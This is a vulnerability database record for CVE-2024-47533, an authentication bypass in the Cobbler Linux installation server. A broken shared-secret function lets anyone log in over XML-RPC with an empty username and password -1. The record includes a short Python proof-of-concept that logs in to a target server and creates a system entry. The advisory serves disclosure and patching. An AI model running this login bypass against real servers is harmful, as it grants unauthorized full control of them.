{"id":"CVE-2024-47533","aliases":["CVE-2024-47533","GHSA-m26c-fcgh-cp6h","PYSEC-2026-316"],"related":[],"kind":"vulnerability","state":"published","title":"Cobbler allows anyone to connect to cobbler XML-RPC server with a known password and make changes","summary":"Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nutils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.\n\n### Details\nutils.py get_shared_secret:\n```\ndef get_shared_secret() -> Union[str, int]:\n    \"\"\"\n    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange\n    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.\n    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.\n\n    :return: The Cobbler secret which enables full access to Cobbler.\n    \"\"\"\n\n    try:\n        with open(\"/var/lib/cobbler/web.ss\", 'rb', encoding='utf-8') as fd:\n            data = fd.read()\n    except:\n        return -1\n    return str(data).strip()\n```\nAlways returns `-1` because of the following exception:\n```\nbinary mode doesn't take an encoding argument\n```\n\nThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.\n\n### PoC\n```\n#!/usr/bin/python3\n\nimport ssl\nimport xmlrpc.client\n\nparams = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }\nssl_context = ssl._create_unverified_context()\n\nurl = '{proto}://{host}:{port}/cobbler_api'.format(**params)\nif ssl_context:\n    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)\nelse:\n    conn = xmlrpc.client.Server(url)\n\ntry:\n    token = conn.login(params['username'], params['password'])\nexcept xmlrpc.client.Fault as e:\n    print(\"Failed to log in to Cobbler '{url}' as '{username}'. {error}\".format(url=url, error=e, **params))\nexcept Exception as e:\n    print(\"Connection to '{url}' failed. {error}\".format(url=url, error=e, **params))\n\nprint(\"Login success!\")\n\nsystem_id = conn.new_system(token)\n```\n\n\n### Impact\nThis gives anyone with network access to a cobbler server full control of the server.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Cobbler, un servidor de instalación de Linux que permite la configuración rápida de entornos de instalación de red, tiene una vulnerabilidad de autenticación incorrecta a partir de la versión 3.0.0 y anteriores a las versiones 3.2.3 y 3.3.7. `utils.get_shared_secret()` siempre devuelve `-1`, lo que permite que cualquiera se conecte a Cobbler XML-RPC como usuario `''` contraseña `-1` y realice cualquier cambio. Esto le da a cualquier persona con acceso de red a un servidor Cobbler control total del servidor. Las versiones 3.2.3 y 3.3.7 solucionan el problema.","source":"nvd"}],"published":"2024-11-18T16:33:55.229Z","modified":"2026-10-27T16:45:03.500Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-287"],"affected":[{"ranges":[{"version":">= 3.0.0, < 3.2.3","status":"affected"},{"version":">= 3.3.0, < 3.3.7","status":"affected"}],"vendor":"cobbler","product":"cobbler","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"3.0.0","fixed":"3.2.3","status":"affected"},{"type":"custom","introduced":"3.3.0","fixed":"3.3.7","status":"affected"}],"vendor":"cobbler_project","product":"cobbler","cpe":"cpe:2.3:a:cobbler_project:cobbler:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"3.3.0","status":"affected","fixed":"3.3.7"}],"ecosystem":"PyPI","package":"cobbler","purl":"pkg:pypi/cobbler","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"3.0.0","status":"affected","fixed":"3.2.3"}],"ecosystem":"PyPI","package":"cobbler","purl":"pkg:pypi/cobbler","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"3.0.0","status":"affected","fixed":"3.2.3"},{"type":"ecosystem","introduced":"3.3.0","status":"affected","fixed":"3.3.7"}],"ecosystem":"PyPI","package":"cobbler","purl":"pkg:pypi/cobbler","source":"pysec"}],"references":[{"url":"https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47533","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/cobbler/cobbler","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/cobbler/PYSEC-2026-316.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/cobbler","tags":["package","web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-m26c-fcgh-cp6h","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2024-11-18T18:21:42.523Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-47533","url":"https://www.cve.org/CVERecord?id=CVE-2024-47533","licence":"CVE Terms of Use","modified":"2024-11-18T18:24:07.378Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m26c-fcgh-cp6h","url":"https://github.com/advisories/GHSA-m26c-fcgh-cp6h","licence":"CC-BY-4.0","modified":"2026-10-27T16:45:03.500Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-47533","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47533","licence":"Public domain","modified":"2026-06-17T07:57:15.333Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-316","url":"https://osv.dev/vulnerability/PYSEC-2026-316","licence":"CC-BY-4.0","modified":"2026-07-02T13:00:07.833Z"}],"updatedAt":"2026-11-25T22:58:48.389Z","epss":{"score":0.0455,"percentile":0.91784,"date":"2026-12-01T12:00:22.000Z"}}